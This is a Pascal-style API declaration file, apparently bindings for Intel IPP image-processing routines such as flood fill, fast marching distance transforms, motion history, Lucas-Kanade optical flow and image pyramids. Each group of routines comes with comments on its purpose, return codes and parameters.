function ippiGetDistanceTransformMask_32s( kerSize : Int32 ; norm : IppiNorm ; pMetrics : Ipp32sPtr ): IppStatus; _ippapi
function ippiGetDistanceTransformMask( maskType : Int32 ; pMetrics : Ipp32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFastMarchingGetBufferSize_8u32f_C1R
Purpose: Get size of external buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image or kernel size are less or equal zero
Parameters:
roiSize The image ROI size
pBufferSize The pointer to the buffer size
}
function ippiFastMarchingGetBufferSize_8u32f_C1R( roiSize : IppiSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFastMarching_8u32f_C1R
Purpose: Calculate distance transform by fast marching method
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image or kernel size are less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Source image
srcStep Its step
pDst Output image with distances
dstStep Its step
roiSize The image ROI size
radius The radius of external neighborhood
pBuffer Pointer to working buffer
Note: dst = min((src1+src1+sqrt(2-(src1-src2)**2))/2,min(src1,src2)+1)
for four neighbour pairs
}
function ippiFastMarching_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; radius : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Flood Fill
----------------------------------------------------------------------------
Name: ippiFloodFillGetSize_4Con, ippiFloodFillGetSize_8Con
ippiFloodFillGetSize_Grad4Con, ippiFloodFillGetSize_Grad8Con
Purpose: The functions calculate size of temporary buffer, required to run
one of the corresponding flood fill functions.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
Parameters:
roiSize ROI size
pBufSize Temporary buffer size
}
function ippiFloodFillGetSize( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiFloodFillGetSize_Grad( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiFloodFill_4Con_8u_C1IR
ippiFloodFill_8Con_8u_C1IR
ippiFloodFill_4Con_16u_C1IR
ippiFloodFill_8Con_16u_C1IR
ippiFloodFill_4Con_32f_C1IR
ippiFloodFill_8Con_32f_C1IR
ippiFloodFill_4Con_32s_C1IR
ippiFloodFill_8Con_32s_C1IR
ippiFloodFill_4Con_8u_C3IR
ippiFloodFill_8Con_8u_C3IR
ippiFloodFill_4Con_16u_C3IR
ippiFloodFill_8Con_16u_C3IR
ippiFloodFill_4Con_32f_C3IR
ippiFloodFill_8Con_32f_C3IR
ippiFloodFill_Grad4Con_8u_C1IR
ippiFloodFill_Grad8Con_8u_C1IR
ippiFloodFill_Grad4Con_16u_C1IR
ippiFloodFill_Grad8Con_16u_C1IR
ippiFloodFill_Grad4Con_32f_C1IR
ippiFloodFill_Grad8Con_32f_C1IR
ippiFloodFill_Grad4Con_8u_C3IR
ippiFloodFill_Grad8Con_8u_C3IR
ippiFloodFill_Grad4Con_16u_C3IR
ippiFloodFill_Grad8Con_16u_C3IR
ippiFloodFill_Grad4Con_32f_C3IR
ippiFloodFill_Grad8Con_32f_C3IR
ippiFloodFill_Range4Con_8u_C1IR
ippiFloodFill_Range8Con_8u_C1IR
ippiFloodFill_Range4Con_16u_C1IR
ippiFloodFill_Range8Con_16u_C1IR
ippiFloodFill_Range4Con_32f_C1IR
ippiFloodFill_Range8Con_32f_C1IR
ippiFloodFill_Range4Con_8u_C3IR
ippiFloodFill_Range8Con_8u_C3IR
ippiFloodFill_Range4Con_16u_C3IR
ippiFloodFill_Range8Con_16u_C3IR
ippiFloodFill_Range4Con_32f_C3IR
ippiFloodFill_Range8Con_32f_C3IR
Purpose: The functions fill the seed pixel enewValirons inside which all pixel
values are equal to (first 4 funcs) or not far from each other (the others).
Return:
ippStsNoErr Ok.
ippStsNullPtrErr One of pointers is NULL.
ippStsSizeErr The width or height of images is less or equal zero.
ippStsStepErr The steps in images are too small.
ippStsNotEvenStepErr Step is not multiple of element.
ippStsOutOfRangeErr Indicates an error condition if the seed point is out of ROI.
Parameters:
pImage Pointer to ROI of initial image (in the beginning)
which is "repainted" during the function action,
imageStep Full string length of initial image (in bytes),
roi Size of image ROI,
seed Coordinates of the seed point inside image ROI,
newVal Value to fill with for one-channel data,
pNewVal Pointer to the vector containing values to fill with
for three-channel data,
minDelta Minimum difference between neighbor pixels for one-channel data,
maxDelta Maximum difference between neighbor pixels for one-channel data,
pMinDelta Pointer to the minimum differences between neighbor pixels for
three-channel images,
pMaxDelta Pointer to the maximum differences between neighbor pixels for
three-channel images,
pRegion Pointer to repainted region properties structure,
pBuffer Buffer needed for calculations (its size must be
calculated by ippiFloodFillGetSize_Grad function).
Notes: This function uses a rapid non-recursive algorithm.
}
function ippiFloodFill_4Con_8u_C1IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp8u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_8Con_8u_C1IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp8u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_4Con_16u_C1IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp16u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_8Con_16u_C1IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp16u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_4Con_32f_C1IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp32f ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_8Con_32f_C1IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp32f ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_4Con_32s_C1IR( pImage : Ipp32sPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp32s ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_8Con_32s_C1IR( pImage : Ipp32sPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp32s ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad4Con_8u_C1IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp8u ; minDelta : Ipp8u ; maxDelta : Ipp8u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad8Con_8u_C1IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp8u ; minDelta : Ipp8u ; maxDelta : Ipp8u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad4Con_16u_C1IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp16u ; minDelta : Ipp16u ; maxDelta : Ipp16u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad8Con_16u_C1IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp16u ; minDelta : Ipp16u ; maxDelta : Ipp16u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad4Con_32f_C1IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp32f ; minDelta : Ipp32f ; maxDelta : Ipp32f ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad8Con_32f_C1IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp32f ; minDelta : Ipp32f ; maxDelta : Ipp32f ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range4Con_8u_C1IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp8u ; minDelta : Ipp8u ; maxDelta : Ipp8u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range8Con_8u_C1IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp8u ; minDelta : Ipp8u ; maxDelta : Ipp8u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range4Con_16u_C1IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp16u ; minDelta : Ipp16u ; maxDelta : Ipp16u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range8Con_16u_C1IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp16u ; minDelta : Ipp16u ; maxDelta : Ipp16u ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range4Con_32f_C1IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp32f ; minDelta : Ipp32f ; maxDelta : Ipp32f ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range8Con_32f_C1IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; newVal : Ipp32f ; minDelta : Ipp32f ; maxDelta : Ipp32f ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_4Con_8u_C3IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp8uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_8Con_8u_C3IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp8uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_4Con_16u_C3IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp16uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_8Con_16u_C3IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp16uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_4Con_32f_C3IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp32fPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_8Con_32f_C3IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp32fPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad4Con_8u_C3IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp8uPtr ; pMinDelta : Ipp8uPtr ; pMaxDelta : Ipp8uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad8Con_8u_C3IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp8uPtr ; pMinDelta : Ipp8uPtr ; pMaxDelta : Ipp8uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad4Con_16u_C3IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp16uPtr ; pMinDelta : Ipp16uPtr ; pMaxDelta : Ipp16uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad8Con_16u_C3IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp16uPtr ; pMinDelta : Ipp16uPtr ; pMaxDelta : Ipp16uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad4Con_32f_C3IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp32fPtr ; pMinDelta : Ipp32fPtr ; pMaxDelta : Ipp32fPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Grad8Con_32f_C3IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp32fPtr ; pMinDelta : Ipp32fPtr ; pMaxDelta : Ipp32fPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range4Con_8u_C3IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp8uPtr ; pMinDelta : Ipp8uPtr ; pMaxDelta : Ipp8uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range8Con_8u_C3IR( pImage : Ipp8uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp8uPtr ; pMinDelta : Ipp8uPtr ; pMaxDelta : Ipp8uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range4Con_16u_C3IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp16uPtr ; pMinDelta : Ipp16uPtr ; pMaxDelta : Ipp16uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range8Con_16u_C3IR( pImage : Ipp16uPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp16uPtr ; pMinDelta : Ipp16uPtr ; pMaxDelta : Ipp16uPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range4Con_32f_C3IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp32fPtr ; pMinDelta : Ipp32fPtr ; pMaxDelta : Ipp32fPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFloodFill_Range8Con_32f_C3IR( pImage : Ipp32fPtr ; imageStep : Int32 ; roiSize : IppiSize ; seed : IppiPoint ; pNewVal : Ipp32fPtr ; pMinDelta : Ipp32fPtr ; pMaxDelta : Ipp32fPtr ; pRegion : IppiConnectedCompPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Motion Templates
----------------------------------------------------------------------------
Name: ippiUpdateMotionHistory_8u32f_C1IR, ippiUpdateMotionHistory_16u32f_C1IR
ippiUpdateMotionHistory_32f_C1IR
Purpose: Sets motion history image (MHI) pixels to the current time stamp
when the corrensonding pixels in the silhoette image are non zero.
Else (silhouette pixels are zero) MHI pixels are
cleared if their values are too small (less than timestamp - mhiDuration),
i.e. they were updated far ago last time. Else MHI pixels remain unchanged.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsOutOfRangeErr Maximal duration is negative
Arguments:
pSilhouette The pointer to silhouette image
silhStep The step in silhouette image
pMHI The pointer to motion history image
mhiStep The step in mhi image
roiSize ROI size
timestamp Current time stamp (milliseconds)
mhiDuration Maximal duration of motion track (milliseconds)
}
function ippiUpdateMotionHistory_8u32f_C1IR( pSilhouette : Ipp8uPtr ; silhStep : Int32 ; pMHI : Ipp32fPtr ; mhiStep : Int32 ; roiSize : IppiSize ; timestamp : Ipp32f ; mhiDuration : Ipp32f ): IppStatus; _ippapi
function ippiUpdateMotionHistory_16u32f_C1IR( pSilhouette : Ipp16uPtr ; silhStep : Int32 ; pMHI : Ipp32fPtr ; mhiStep : Int32 ; roiSize : IppiSize ; timestamp : Ipp32f ; mhiDuration : Ipp32f ): IppStatus; _ippapi
function ippiUpdateMotionHistory_32f_C1IR( pSilhouette : Ipp32fPtr ; silhStep : Int32 ; pMHI : Ipp32fPtr ; mhiStep : Int32 ; roiSize : IppiSize ; timestamp : Ipp32f ; mhiDuration : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Optical Flow
----------------------------------------------------------------------------
Name: ippiOpticalFlowPyrLKGetSize
Purpose: Computes the size of the pyramidal optical flow structure
Return:
ippStsNoErr Indicates no error. Any other value indicates an error or a warning.
ippStsNullPtrErr Indicates an error Indicates an error if pStateSize is NULL.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsSizeErr Indicates an error condition if roiSize has a field with zero
or negative value or if winSize is equal to or less than 0.
Arguments:
winSize Size of search window (2*winSize+1)
roi Maximal image ROI
dataType The type of data
hint Option to select the algorithmic implementation of the function
pStateSize Pointer to the size value of state structure.
}
function ippiOpticalFlowPyrLKGetSize( winSize : Int32 ; roi : IppiSize ; dataType : IppDataType ; hint : IppHintAlgorithm ; pStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiOpticalFlowPyrLKInit_8u_C1R, ippiOpticalFlowPyrLKInit_16u_C1R,
ippiOpticalFlowPyrLKInit_32f_C1R
Purpose: Initializes a structure for pyramidal L-K algorithm
Return:
ippStsNoErr Indicates no error. Any other value indicates an error or a warning.
ippStsNullPtrErr Indicates an error if ppState or pStateBuf are NULL.
ippStsSizeErr Indicates an error condition if roiSize has a field with zero
or negative value or if winSize is equal to or less than 0.
ippStsMemAllocErr Memory allocation error
Arguments:
ppState Pointer to the pointer to the optical flow structure being initialized
roiSize Size of the source image (zero level of the pyramid) ROI in pixels.
winSize Size of search window (2*winSize+1) of each pyramid level.
hint Option to select the algorithmic implementation of the function
pStateBuf Pointer to the work buffer for State structure.
}
function ippiOpticalFlowPyrLKInit_8u_C1R( ppState : IppiOptFlowPyrLK_8u_C1RPtrPtr ; roi : IppiSize ; winSize : Int32 ; hint : IppHintAlgorithm ; pStateBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiOpticalFlowPyrLKInit_16u_C1R( ppState : IppiOptFlowPyrLK_16u_C1RPtrPtr ; roi : IppiSize ; winSize : Int32 ; hint : IppHintAlgorithm ; pStateBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiOpticalFlowPyrLKInit_32f_C1R( ppState : IppiOptFlowPyrLK_32f_C1RPtrPtr ; roi : IppiSize ; winSize : Int32 ; hint : IppHintAlgorithm ; pStateBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiOpticalFlowPyrLK_8u_C1R, ippiOpticalFlowPyrLK_16u_C1R,
ippiOpticalFlowPyrLK_32f_C1R
Purpose:
Pyramidal version of Lucas - Kanade method of optical flow calculation
Returns:
ippStsNoErr Indicates no error. Any other value indicates an error or a warning
ippStsNullPtrErr Indicates an error if one of the specified pointer is NULL
ippStsSizeErr Indicates an error condition if numFeat or winSize has zero or
negative value.
ippStsBadArgErr Indicates an error condition if maxLev or threshold has negative
value, or maxIter has zero or negative value.
Arguments:
pPyr1 Pointer to the first image pyramid (time t)
pPyr2 Pointer to the second image pyramid (time t+dt)
pPrev Array of points, for which the flow needs to be found
pNext Array of new positions of pPrev points
pError Array of differences between pPrev and pNext points
pStatus Array of result indicator (0 - not calculated)
numFeat Number of points to calculate optical flow
winSize Size of search window (2*winSize+1)
maxLev Pyramid level to start the operation
maxIter Maximum number of algorithm iterations for each pyramid level
threshold Threshold value to stop new position search
pState Pointer to the pyramidal optical flow structure
Notes: For calculating spatial derivatives 3x3 Scharr operator is used.
The values of pixels beyond the image are determined using replication mode.
}
function ippiOpticalFlowPyrLK_8u_C1R( pPyr1 : IppiPyramidPtr ; pPyr2Ptr : IppiPyramid ; pPrev : IppiPoint_32fPtr ; pNext : IppiPoint_32fPtr ; pStatus : Ipp8sPtr ; pError : Ipp32fPtr ; numFeat : Int32 ; winSize : Int32 ; maxLev : Int32 ; maxIter : Int32 ; threshold : Ipp32f ; pState : IppiOptFlowPyrLK_8u_C1RPtr ): IppStatus; _ippapi
function ippiOpticalFlowPyrLK_16u_C1R( pPyr1 : IppiPyramidPtr ; pPyr2Ptr : IppiPyramid ; pPrev : IppiPoint_32fPtr ; pNext : IppiPoint_32fPtr ; pStatus : Ipp8sPtr ; pError : Ipp32fPtr ; numFeat : Int32 ; winSize : Int32 ; maxLev : Int32 ; maxIter : Int32 ; threshold : Ipp32f ; pState : IppiOptFlowPyrLK_16u_C1RPtr ): IppStatus; _ippapi
function ippiOpticalFlowPyrLK_32f_C1R( pPyr1 : IppiPyramidPtr ; pPyr2Ptr : IppiPyramid ; pRrev : IppiPoint_32fPtr ; pNext : IppiPoint_32fPtr ; pStatus : Ipp8sPtr ; pError : Ipp32fPtr ; numFeat : Int32 ; winSize : Int32 ; maxLev : Int32 ; maxIter : Int32 ; threshold : Ipp32f ; pState : IppiOptFlowPyrLK_32f_C1RPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Universal Pyramids
----------------------------------------------------------------------------
Name: ippiPyramidGetSize
Purpose: Computes the size of the structure for pyramids and the size
of the required work buffer (in bytes)
Arguments:
pPyrSize Pointer to the size value of pyramid structure
pSizeBuf Pointer to the size value of the pyramid external work buffer
level Maximal number pyramid level.
roiSize Zero level image ROI size.
rate Neighbour levels ratio (1<rate<=10)
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value.
ippStsBadArgErr level is equal to or less than 0 or if rate has wrong value.
}
function ippiPyramidGetSize( pPyrSize : Int32Ptr ; var pBufSize : Int32 ; level : Int32 ; roiSize : IppiSize ; rate : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiPyramidInit
Purpose: Initializes structure for pyramids, calculates ROI for layers.
Arguments:
pPyr Pointer to the pointer to the pyramid structure.
level Maximal number pyramid level.
roiSize Zero level image ROI size.
rate Neighbour levels ratio (1<rate<=10).
pPyrBuffer Pointer to the buffer to initialize structure for pyramids.
pBuffer Pointer to the work buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value.
ippStsBadArgErr level is equal to or less than 0 or if rate has wrong value.
}
function ippiPyramidInit( pPyr : IppiPyramidPtrPtr ; level : Int32 ; roiSize : IppiSize ; rate : Ipp32f ; pPyrBuffer : Ipp8uPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiPyramidLayerDownGetSize_8u_C1R, ippiPyramidLayerDownGetSize_8u_C3R
ippiPyramidLayerDownGetSize_16u_C1R, ippiPyramidLayerDownGetSize_16u_C3R
ippiPyramidLayerDownGetSize_32f_C1R, ippiPyramidLayerDownGetSize_32f_C3R
ippiPyramidLayerUpGetSize_8u_C1R, ippiPyramidLayerUpGetSize_8u_C3R
ippiPyramidLayerUpGetSize_16u_C1R, ippiPyramidLayerUpGetSize_16u_C3R
ippiPyramidLayerUpGetSizec_32f_C1R, ippiPyramidLayerUpGetSize_32f_C3R
Purpose: Calculates the size of structure for creating a lower(an upper) pyramid layer and the size
of the temporary buffer (in bytes).
Arguments:
srcRoi Source image ROI size.
dstRoi Destination image ROI size.
rate Neighbour levels ratio (1<rate<=10)
kerSize Kernel size
pStateSize Pointer to the size value of pyramid state structure.
pBufSize Pointer to the size value of the external work buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsBadArgErr Bad rate or kernel size
}
function ippiPyramidLayerDownGetSize_8u_C1R( srcRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiPyramidLayerDownGetSize_16u_C1R( srcRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiPyramidLayerDownGetSize_32f_C1R( srcRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiPyramidLayerDownGetSize_8u_C3R( srcRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiPyramidLayerDownGetSize_16u_C3R( srcRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiPyramidLayerDownGetSize_32f_C3R( srcRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiPyramidLayerUpGetSize_8u_C1R( dstRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
function ippiPyramidLayerUpGetSize_16u_C1R( dstRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
function ippiPyramidLayerUpGetSize_32f_C1R( dstRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
function ippiPyramidLayerUpGetSize_8u_C3R( dstRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
function ippiPyramidLayerUpGetSize_16u_C3R( dstRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
function ippiPyramidLayerUpGetSize_32f_C3R( dstRoi : IppiSize ; rate : Ipp32f ; kerSize : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiPyramidLayerDownInit_8u_C1R, ippiPyramidLayerDownInit_8u_C3R
ippiPyramidLayerDownInit_16u_C1R, ippiPyramidLayerDownInit_16u_C3R
ippiPyramidLayerDownInit_32f_C1R, ippiPyramidLayerDownInit_32f_C3R
ippiPyramidLayerUpInit_8u_C1R, ippiPyramidLayerUpInit_8u_C3R
ippiPyramidLayerUpInit_16u_C1R, ippiPyramidLayerUpInit_16u_C3R
ippiPyramidLayerUpInit_32f_C1R, ippiPyramidLayerUpInit_32f_C3R
Purpose: Initializes a structure for creating a lower(an upper) pyramid layer.
Arguments:
ppState Pointer to the pointer to initialized pyramid state structure
srcRoi Source image ROI size.
dstRoi Destination image ROI size.
rate Neighbour levels ratio (1<rate<=10)
pKernel Separable symmetric kernel of odd length
kerSize Kernel size
mode IPPI_INTER_LINEAR - bilinear interpolation
StateBuf Pointer to the buffer to initialize state structure for pyramids.
pBuffer Pointer to the work buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsBadArgErr Bad mode, rate or kernel size
}
function ippiPyramidLayerDownInit_8u_C1R( ppState : IppiPyramidDownState_8u_C1RPtrPtr ; srcRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp16sPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ; Buffer : Ipp8uPtr ): IppStatus; _ippapi
